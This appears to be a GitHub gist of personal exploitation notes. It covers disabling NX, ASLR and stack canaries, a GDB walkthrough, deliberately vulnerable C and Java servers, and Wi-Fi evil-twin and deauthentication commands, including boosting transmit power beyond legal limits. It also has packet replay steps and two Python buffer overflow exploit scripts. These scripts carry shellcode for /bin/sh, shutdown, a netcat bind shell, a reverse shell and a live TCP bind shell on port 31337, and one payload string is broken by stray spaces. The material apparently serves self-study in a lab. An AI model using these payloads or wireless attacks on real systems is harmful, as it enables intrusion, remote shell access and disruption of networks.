Skip to content

Instantly share code, notes, and snippets.

Show Gist options
  • Save winterrdog/87301be24246f7d5c0ae2e98d51e4d04 to your computer and use it in GitHub Desktop.
Save winterrdog/87301be24246f7d5c0ae2e98d51e4d04 to your computer and use it in GitHub Desktop.
Bufferoverflow

PROCESS

Considerations when executing a Buffer Overflow

Disable Execution Protection (not needed for Ubuntu18)
Linux NX
[    0.000000] NX (Execute Disable) protection: active

Boot and interrupt the GRUB menu
Edit the boot configuration, changing the "linux" line by adding these two parameters to the end of the line:
    noexec=off noexec32=off
Then boot by pressing Ctrl+x.

After booting, you can check to see if DEP/NX is turned off by running:
    dmesg | grep NX

When DEP/NX is turned off you should see something similar to this output:

# dmesg | grep NX
[    0.000000] NX (Execute Disable) protection: disabled by kernel command line option
ASLR
Address space layout randomization (ASLR) is a computer security technique involved in preventing exploitation of memory corruption vulnerabilities. In order to prevent an attacker from reliably jumping to, for example, a particular exploited function in memory, ASLR randomly arranges the address space positions of key data areas of a process, including the base of the executable and the positions of the stack, heap and libraries.


# disable in current session
echo 0 | tee /proc/sys/kernel/randomize_va_space

# make change permanent (across reboots)
echo "kernel.randomize_va_space = 0" > /etc/sysctl.d/01-disable-aslr.conf
Buffer Overflow Protection
Buffer overflow protection is any of various techniques used during software development to enhance the security of executable programs by detecting buffer overflows on stack-allocated variables, and preventing them from causing program misbehavior or from becoming serious security vulnerabilities. A stack buffer overflow occurs when a program writes to a memory address on the program's call stack outside of the intended data structure, which is usually a fixed-length buffer. Stack buffer overflow bugs are caused when a program writes more data to a buffer located on the stack than what is actually allocated for that buffer. This almost always results in corruption of adjacent data on the stack, which could lead to program crashes, incorrect operation, or security issues.

https://en.wikipedia.org/wiki/Buffer_overflow_protection#Canaries

# Compile with -fno-stack-protector -z execstack
gcc stack.c -fno-stack-protector -z execstack -o stack

Considerations

Global Offset Table (GOT) - Stores a map of the global variables
Procedure Linkage Table (PLT) - Stores a map for the ASLR

GDB Documentation:

Build binary

$ gcc stack.c -fno-stack-protector -z execstack -o stack

Run GDB

$ gdb stack

Disassemble the main function to find the ret(32)/retq(64 aka return quad) instruction

(gdb) disassemble main

Create a break point when the main function returns

(gdb) break *0x0...

Define a hook-stop macro

(gdb) define hook-stop

Setup the hook

# Display the current instruction which will be executed next $eip (32) / $rip (64)
> x/1i $eip 
> x/1i $rip
# Examine 8 words as hex from the stack $esp(32)/$rsp(64) and x/8wx(32)/x8gx(64)
> x/8wx $esp
> x/8gx $rsp
# Close the hook stop
> end

Execute it

(gdb) r

The code should break at out breakpoint so let's step into the return

(gdb) si

Run the code with the exploit

(gdb) r < exploit

Step into what should be a segmentation fault

(gdb) si

Inspect the stack register $esp(32)/$rsp(64)

(gdb) x/s $esp
(gdb) x/s $rsp

Run it again

(gdb) r

Step into our return

(gdb) si

Inspect the registers

(gdb) info registers

Update the script with a INT3 and then run

(gdb) r < exploit

Continue the code which should show us telling the instructor to jump to the stack, hitting an int3 and if all worked you will have a SIGTRAP instead of a SIGSEGV

(gdb) c
import java.io.IOException;
import java.io.PrintWriter;
import java.net.InetAddress;
import java.net.Socket;
import java.util.Scanner;
public class Client {
private Socket socket;
private Scanner scanner;
private Client(InetAddress serverAddress, int serverPort) throws Exception {
this.socket = new Socket(serverAddress, serverPort);
this.scanner = new Scanner(System.in);
}
private void start() throws IOException {
String input;
System.out.println("Provide me with the herbs I need to make you a “special” potionPress 1 to continue");
PrintWriter out = new PrintWriter(this.socket.getOutputStream(), true);
if (0 == scanner.nextLine().compareTo("1")) {
out.println("make-potion");
out.flush();
} else {
System.out.println("Come back when you have the herbs");
}
System.out.println("Excellent! Here is your reward! Press 1 to continue");
if (0 == scanner.nextLine().compareTo("1")) {
out.println("receive-potion");
out.flush();
}
start();
}
public static void main(String[] args) throws Exception {
Client client = new Client(
InetAddress.getByName(args[0]),
Integer.parseInt(args[1]));
System.out.println("\r\nConnected to Server: " + client.socket.getInetAddress());
client.start();
}
}

List all available wifi devices

iwconfig

Start one as a monitor

airmon-ng start <WIFI>

Monitor the network traffic

airodump-ng <WIFI>

Create the evil twin

airbase-ng -a 26:18:1D:64:00:DD --essid "StealingYourInfo" -c 1 mon0

Deauth the target

aireplay-ng --deauth 0 -a <TARGET_MAC>

Need some extra power? (CAREFUL ABOUT LEGALITIES!)

iw reg set BO
iwconfig wlan0 txpower 30

Set channel

iwconfig <WIFI> channel 1

Dump the packet

tcpdump -n -c 1 -s 0 dst host 127.0.0.1 and port 44655 -w event.pcap -i lo

Verify the packet

tcpdump -r event.pcap -X

Replay the packet (after sequence modification)

tcpreplay --intf1=lo event.pcap 

Alternatively use wireplay

https://code.google.com/archive/p/wireplay/ - Original https://github.com/abhisek/wireplay - Updated

Simplied with netcat

nc 127.0.0.1 44655 < receive-potion
#include <netdb.h>
#include <netinet/in.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>
#define MAX 80
#define MAX_BUFFER 1024
#define PORT 8080
#define SA struct sockaddr
// Function designed for chat between client and server.
void func(int sockfd)
{
char buff[MAX];
bzero(buff, MAX);
read(sockfd, buff, MAX_BUFFER);
return;
}
// Driver function
int main()
{
int sockfd, connfd, len;
struct sockaddr_in servaddr, cli;
// socket create and verification
sockfd = socket(AF_INET, SOCK_STREAM, 0);
if (sockfd == -1) {
printf("socket creation failed...\n");
exit(0);
}
else
printf("Socket successfully created..\n");
bzero(&servaddr, sizeof(servaddr));
// assign IP, PORT
servaddr.sin_family = AF_INET;
servaddr.sin_addr.s_addr = htonl(INADDR_ANY);
servaddr.sin_port = htons(PORT);
// Binding newly created socket to given IP and verification
if ((bind(sockfd, (SA*)&servaddr, sizeof(servaddr))) != 0) {
printf("socket bind failed...\n");
exit(0);
}
else
printf("Socket successfully binded..\n");
// Now server is ready to listen and verification
if ((listen(sockfd, 5)) != 0) {
printf("Listen failed...\n");
exit(0);
}
else
printf("Server listening..\n");
len = sizeof(cli);
// Accept the data packet from client and verification
connfd = accept(sockfd, (SA*)&cli, &len);
if (connfd < 0) {
printf("server acccept failed...\n");
exit(0);
}
else
printf("server acccept the client...\n");
// Function for chatting between client and server
func(connfd);
// After chatting close the socket
close(sockfd);
}
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.net.InetAddress;
import java.net.ServerSocket;
import java.net.Socket;
public class Server {
private ServerSocket server;
public Server(String ipAddress) throws Exception {
if (ipAddress != null && !ipAddress.isEmpty())
this.server = new ServerSocket(0, 1, InetAddress.getByName(ipAddress));
else
this.server = new ServerSocket(0, 1, InetAddress.getLocalHost());
}
private void listen() throws Exception {
String data = null;
Socket client = this.server.accept();
String clientAddress = client.getInetAddress().getHostAddress();
System.out.println("\r\nNew connection from " + clientAddress);
BufferedReader in = new BufferedReader(
new InputStreamReader(client.getInputStream()));
while ( (data = in.readLine()) != null ) {
if (0 == "receive-potion".compareTo(data)) {
System.out.println("Add item to user account");
}
System.out.println("\r\nMessage from " + clientAddress);
}
listen();
}
public InetAddress getSocketAddress() {
return this.server.getInetAddress();
}
public int getPort() {
return this.server.getLocalPort();
}
public static void main(String[] args) throws Exception {
Server app = new Server(args[0]);
System.out.println("\r\nRunning Server: " +
"Host=" + app.getSocketAddress().getHostAddress() +
" Port=" + app.getPort());
app.listen();
}
}
Things that can counterimport struct
# python2 exploit.py|nc localhost 8080
# This is for a 64 bit architecture
# 64 bytes for the character array plus 1 byte for the LEAVE
# instruction this should take us to the RETURN instruction
padding = "\x00"*88
# Point the instruction pointer after the LEAVE instruction
eip = struct.pack("Q", 0x7fffffffe440)
# NOP slide to correct the runtime variable variance
# nopslide = "\x90" * 100
nopslide = ""
# Trip the code into the intel CPU debugger (also known as int3),
# prevents a segmentation fault from halting the application
# to verify we have successfully caused a buffer overflow without
# crashing the application
payload = "\xCC" * 8
# /bin/sh http://shell-storm.org/shellcode/files/shellcode-806.php
# payload = "\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"
# shutdown -h http://shell-storm.org/shellcode/files/shellcode-877.php
# payload = "\x48\x31\xc0\x48\x31\xd2\x50\x6a\x77\x66\x68\x6e\x6f\x48\x89\xe3\x50\x66\x68\x2d\x68\x48\x89\xe1\x50\x49\xb8\x2f\x73\x62\x69\x6e\x2f\x2f\x2f\x49\xba\x73\x68\x75\x74\x64\x6f\x77\x6e\x41\x52\x41\x50\x48\x89\xe7\x52\x53\x51\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05"
# Bind shell with netcat http://shell-storm.org/shellcode/files/shellcode-822.php
# payload = "\x48\x31\xd2\x48\xbf\xff\x2f\x62\x69\x6e\x2f\x6e\x63\x48\xc1\xef\x08\x57\x48\x89\xe7\x48\xb9\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xe9\x08\x51\x48\x89\xe1\x48\xbb\xff\xff\xff\xff\xff\xff\x2d\x65\x48\xc1\xeb\x30\x53\x48\x89\xe3\x49\xba\xff\xff\xff\xff\x31\x33\x33\x37\x49\xc1\xea\x20\x41\x52\x49\x89\xe2\x49\xb9\xff\xff\xff\xff\xff\xff\x2d\x70\x49\xc1\xe9\x30\x41\x51\x49\x89\xe1\x49\xb8\xff\xff\xff\xff\xff\xff\x2d\x6c\x49\xc1\xe8\x30\x41\x50\x49\x89\xe0\x52\x51\x53\x41\x52\x41\x51\x41\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"
# Reverse Shell http://shell-storm.org/shellcode/files/shellcode-871.php
# payload = "\x6a\x29\x58\x6a\x02\x5f\x6a\x01\x5e\x99\x0f\x05\x48\x97\xc7\x44\x24\xfc\xc0\xa8\x01\x09\x66\xc7\x44\x24\xfa\x11\x5c\xc6\x44\x24\xf8\x02\x48\x83\xec\x08\x6a\x2a\x58\x48\x89\xe6\x6a\x10\x5a\x0f\x05\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x89\xc7\x99\x88\x44\x24\xff\x48\x83\xec\x01\x52\x48\x8d\x74\x24\xf0\x80\xc2\x10\x0f\x05\x48\xb8\x64\x6f\x6f\x6d\x65\x64\x72\x61\x57\x48\x8d\x3e\x48\xaf\x74\x05\x6a\x3c\x58\x0f\x05\x5f\x48\x31\xc0\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\x50\x48\x89\xe2\x57\x48\x89\xe6\x04\x3b\x0f\x05"
# TCP bind sh 31337
payload = "\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\x6a\x29\x58\x0f\x05\x49\x89\xc0\x4d\x31\xd2\x41\x52\x41\x52 \xc6\x04\x24\x02\x66\xc7\x44\x24\x02\x7a\x69\x48\x89\xe6\x41\x50\x5f\x6a\x10\x5a\x6a\x31\x58\x0f\x05\x41\x50\x5f\x6a\x01\x5e\x6a\x32\x58\x0f\x05\x48\x89\xe6\ x48\x31\xc9\xb1\x10\x51\x48\x89\xe2\x41\x50\x5f\x6a\x2b\x58\x0f\x05\x59\x4d\x31\xc9\x49\x89\xc1\x4c\x89\xcf\x48\x31\xf6\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x 0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05"
print padding + eip + nopslide + payload
#include <stdio.h>
int main() {
char buffer[64];
gets(buffer);
return 0;
}
import struct
# This is for a 64 bit architecture
# 64 bytes for the character array plus 1 byte for the LEAVE
# instruction this should take us to the RETURN instruction
padding = "\x00"*72
# Point the instruction pointer after the LEAVE instruction
eip = struct.pack("Q", 0x00007fffffffdc20)
# NOP slide to correct the runtime variable variance
# nopslide = "\x90" * 100
nopslide = ""
# Trip the code into the intel CPU debugger (also known as int3),
# prevents a segmentation fault from halting the application
# to verify we have successfully caused a buffer overflow without
# crashing the application
payload = "\xCC" * 8
# /bin/sh
# payload = "\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"
# shutdown -h
# payload = "\x48\x31\xc0\x48\x31\xd2\x50\x6a\x77\x66\x68\x6e\x6f\x48\x89\xe3\x50\x66\x68\x2d\x68\x48\x89\xe1\x50\x49\xb8\x2f\x73\x62\x69\x6e\x2f\x2f\x2f\x49\xba\x73\x68\x75\x74\x64\x6f\x77\x6e\x41\x52\x41\x50\x48\x89\xe7\x52\x53\x51\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05"
print padding + eip + nopslide + payload
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment